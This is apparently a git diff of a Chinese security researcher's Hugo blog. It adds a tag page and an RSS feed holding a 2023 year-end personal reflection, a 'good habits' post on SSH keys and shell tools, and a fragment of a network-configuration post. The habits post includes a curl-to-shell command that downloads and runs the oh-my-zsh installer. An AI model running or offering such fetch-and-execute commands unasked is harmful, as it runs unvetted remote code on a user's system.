/etc/NetworkManager/NetworkManager.conf 文件,在main部分添加 “dns=none” 选项: +1 2 3 [main] #plugins=ifcfg-rh dns=none 网络IP地址配置文件在 /etc/sysconfig/network-scripts 文件夹下: +我添加了两个网卡,其中一个用来供本机访问: +/etc/sysconfig/network-scripts/ifcfg-eth1-1 +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 HWADDR=00:0C:29:4B:16:B4 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none IPADDR=192.168.117.100 GATEWAY=192.168.117.2 PREFIX=24 DNS1=114.114.114.114 DNS2=8.8.8.8 DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV4_DNS_PRIORITY=100 IPV6INIT=no NAME=eth1 UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66 DEVICE=eth1 ONBOOT=no 观察启动命令行: \ No newline at end of file diff --git "a/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.html" "b/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.html" new file mode 100644 index 0000000..d386a4d --- /dev/null +++ "b/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.html" @@ -0,0 +1,4 @@ +心情随笔 - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: 心情随笔

      • 29 +Dec 2023

        2023年终总结 - 你好2024!

        2023年转眼过去,好像2022年-2023年很少写一写总结了,心血来潮给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会介绍一下这两年以来自己做的一些事情和成长。
      • 31 +Oct 2023

        需要保持的几个好习惯

        在这里我梳理一些工作和生活需要保持的几个好习惯,用于时刻提醒自己继续保持。
      \ No newline at end of file diff --git "a/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" "b/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" new file mode 100644 index 0000000..5d59dc2 --- /dev/null +++ "b/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" @@ -0,0 +1,44 @@ +心情随笔 on 倾旋的博客https://payloads.online/tags/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/Recent content in 心情随笔 on 倾旋的博客Hugozh-cn倾旋 All rights reservedFri, 29 Dec 2023 00:00:00 +00002023年终总结 - 你好2024!https://payloads.online/archivers/2023-12-29/year-end-summary/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/archivers/2023-12-29/year-end-summary/前言 2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。 +在上周末看到阮老师的周刊的标题:科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。 +2023这一年的工作感想 2022年做了许多重大的决定,其中对生活节奏影响较大的就是换了一份工作,由红队研究员的身份转向一个对安全运营视角进行有效性验证的安全研究员,大概是2022年9月底从老东家离职,写了一篇《我的三年红队生涯总结》宣告自己的红队工作告一段落,开始拥抱新的视角,拓展更广的视野,对安全工作的理解也慢慢发生改变。起初刚加入创业公司,节奏还是能够快速适应的,首先就是工作的交付形式开始转变,从项目的阶段性成果转变成产品相关的测试用例、新技术的调研与应用、与头部企业的安全负责人交流实践经验等等,做产品和做业务有很大的区别,产品功需要更加精细化,对每个功能的要求都应当非常高,才会产生价值,是一个需要内心始终与用户对话的工作形式,所有的产品最初都需要打磨,都需要反馈才能变得更好,这个过程对比此前进行的项目交付,显得节奏感慢了很多,而项目是一个短周期、阶段性的事务。 +再者就是参与到产品的建设中经常可以获得一些正反馈,这是我的动力源,应用的每个技术方案都会通过更新流转到每个用户面前,类比于红队获取了一个目标权限等同。在前几个月的时候,和前辈聊天提到“对手”这个词,前辈说我现在没有对手了,没有对手就会影响到一个人的动力,以往的环境是天天有竞争的,红蓝队伍的对抗,一场场攻防演练,一个个排名,外部的对手数不胜数,所以每次竞争后都会变得更有力量,而现在需要从自身寻找对手,这个对手就是自己,从头梳理自己对企业安全建设的理解,去学习别人的最佳实践,思考事物为何如此发展,善用平台的资源和力量。 +入职后先后接手了终端安全验证、勒索软件验证、AD域安全验证、RASP验证,重新设计了很多次不同验证方向的闭环方案,也接触了何谓“有效性验证”、何谓“安全能力验证”,如果用一句话概括我做的事情就是:“企业先有安全建设,后有安全运营,安全建设积累安全能力,安全运营积累最佳实践,验证安全能力提高安全建设水平,验证安全运营有效性提升实践能力。“ +其实我的大部分时间不只是在做攻击模拟,而是在建立反向验证的思维逻辑,以及应用/研究一套可行性较高、成本较低的验证方案。举例终端安全来说,验证的维度其实非常广,覆盖了ATT&amp;CK矩阵的大部分技术项,而从终端安全防御视角来看,大部分攻击都可以通过操作系统遥测事件输入威胁识别模型识别哪些命令、行为是攻击从而分析出来终端是否受到了攻击。攻击模拟就是在不影响系统安全性的情况下完成一次或多次的攻击回放,回放技术做的越好、越真实、越能体现归因(这个攻击被检测了吗?被谁检测的?响应时间多长?若不能检测,该如何检测),价值就越大,这里摸爬滚打一路过来遇到很多难点就不展开陈述了。 +总的来说,建立反向验证思维,可以让安全工作做的更可信,更容易量化分析。在我设计好一套验证方案后,输出的验证结果反应出了安全能力的很多问题,这些是我以往在红队视角无法想象的,可能是攻击特征很明显的命令,某安全产品竟然没有告警?还有的时候想去验证一些自己的Bypass思路,发现有的安全产品也无法检测,终于真正站在一个中立视角、科学的验证安全能力。 +在今年工作的最后的一天,同事发来了一个“MBI-GS职业倦怠量表“,经过测试我得到了23分的结果,工作状态良好。 +什么是工作倦怠 +“职业倦怠症”又称“职业枯竭症”,它是一种由工作引发的心理枯竭现象,是上班族在工作的重压之下所体验到的身心俱疲、能量被耗尽的感觉,这和肉体的疲倦劳累是不一样的,而是缘自心理的疲乏。 +工作倦怠方面最权威、最常用的量表——MBI-GS(Maslach Burnout Inventory-General Survey)。2002年,李超平获得该问卷开发者Michael Leiter教授的授权,在国内修订MBI-GS。结果表明:该量表在国内具有较好的信度和效度。该量表包括三部分:情绪衰竭(Emotional Exhaustion)、玩世不恭(Cynicism)和成就感低落(Reduced Personal Accomplishment)。情绪衰竭分量表包括5道题,玩世不恭分量表包括5道题,成就感低落分量表包括6道题,整个问卷共16道题。该量表采用利克特7分等级量表,0代表“从不”,6代表“非常频繁”。 +在做这个问卷的过程中,有很多或者几乎都是,需要从自身的工作感受出发进行作答的问题,以前和朋友、领导多少都发表过对于一份工作的观点,在不同时间的节点,我都会思考做事的意义,在抓住能让自己变得更好的前提下,总能得到正向的反馈,这种感觉可以持续推动我成长下去。 +2023这一年的生活感想 今年经历太多无法言说的事情了,我始终抱着过去发生的、经历的,总能成为将来自己的一部分,让我带着它继续的走向明天。这一年认识了新朋友,接触了很多不一样的观点,觉得自己人生的岁岁年年真的才刚开始,我开始阅读更多类别的书籍、尝试不一样的食物、锻炼自己的身体、掌控自己的时间,也学会适当的放松自己、爱自己,以一个旁观者的身份回顾自己,用今天的经验去总结过去某个时刻的自己所做出的选择,然后再回到现实中,感受都会无比通透,让所经历的苦难、快乐能真正成为自己的一部分。 +我经常会担心忘记自己某天某时某刻某地所见所闻所想,能够引起我情绪波动的事物我都会放开自己的去感受它,这样对比起曾经的自己变化还是挺大的。 +下面回顾我这一年的每个月,我都写了一句送给自己的话。 +一月份,在新疆过了农历新年,排除疫情的两年以外,与往年一样,吃了许多新疆美食,家人也想让我多吃一点,总担心我一个人在外面吃得不好,穿的不好。在今年过生日之前,我对于至亲总会离去这件事感觉很遥远,虽然没有发生,但人总会经历,记得在网上看到过,有些男人可能一夜就会长大。 +“其实我很好,只是回到家里,我好像无法褪去孩子的身份与模样,超幸福的。” +二月份,去见了北京的老朋友,郭师傅还是一样我没变,他也没变。突然发现我有一个特质,就是朋友一开始认识我时是什么样,不管多久,见到我时我还是始终一样。简单跟郭师傅学习了单反的使用,原来摄影这件事也很酷,我好像还没有很多其他的爱好。 +“羡慕有许多爱好的人,在不喜欢工作的时候可以通过其他爱好补充能量。” +三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。 +“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。” +四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。 +“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。” +五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。 +“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。” +六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源: +人口少子化可能催生了“断亲族”,亲戚数量少、交往不够 家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化 对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异 当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑 我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。 +“如果我们可以经常像朋友一样沟通,我有好多话想说。” +七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。 +“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。” +八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。 +“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。” +九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。 +“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。” +十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。 +“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。” +十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。 +“没有人可以评价你,做一个自信的人,我们的文化也是一样。” +十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。 +“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。” +这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。 +最后 2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/使用带密码的私钥 使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。 +1 2 3 4 5 # ssh-keygen 命令 $ ssh-keygen -t rsa -f secret-key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): # 输入密码 Enter same passphrase again: # 输入密码 使用命令行提示工具 oh-my-zsh oh my zsh +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ sh -c &#34;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&#34; $ vim .zshrc # 我使用的插件 plugins=( git docker zsh-syntax-highlighting zsh-autosuggestions zsh-completions copyfil e emoji extract sudo ) 使用更好的替代命令 在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置: \ No newline at end of file